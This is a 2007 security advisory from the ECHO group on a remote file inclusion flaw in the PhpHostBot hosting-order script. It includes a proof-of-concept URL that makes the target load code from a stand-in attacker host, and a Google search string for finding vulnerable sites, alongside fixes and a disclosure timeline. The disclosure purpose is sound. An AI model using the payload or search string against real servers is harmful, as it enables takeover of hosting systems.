adv83-K-159-2007.txt

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[ECHO_ADV_83$2007] PhpHostBot <= 1.06 (svr_rootscript) Remote File Inclusion Vulnerability  
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Author : M.Hasran Addahroni  
Date : August, 7 th 2007  
Location : Australia, Sydney  
Web : http://advisories.echo.or.id/adv/adv83-K-159-2007.txt  
Critical Lvl : Dangerous  
Impact : System access  
Where : From Remote  
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Affected software description:  
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Application : PhpHostBot   
version : <= 1.06  
Vendor : http://www.idevspot.com/PhpHostBot.php  
Description :  
  
PhpHostBot is a webware PHP application which integrates with the popular Cpanel(WHM) web hosting control panel.  
PhpHostBot supports Paypal subscriptions, free web hosting, Subdomain and Reseller account setup   
and supports both dedicated server and Reseller web hosting companies  
  
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Vulnerability:  
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Input passed to the "svr_rootscript" parameter in order/login.php is not properly verified before being used to include files.   
This can be exploited to include arbitrary files from local or external resources.  
Successful exploitation requires that "register_globals" is enabled.  
  
  
Poc/Exploit:  
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http://www.target.com/[PhpHostBot-path]/order/login.php?svr_rootscript=http://attacker.com/evil?  
  
Google Dork:  
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"order?page=plan_show"  
  
Solution:  
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- Edit the source code to ensure that input is properly verified.  
- Turn off register_globals  
- use the latest version   
  
Timeline:  
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- 27 -07 - 2007 bug found  
- 4 - 08 - 2007 vendor contacted  
- 7 - 08 - 2007 advisory released  
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Contact:  
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K-159 || echo|staff || eufrato[at]gmail[dot]com  
Homepage: http://k-159.echo.or.id/  
  
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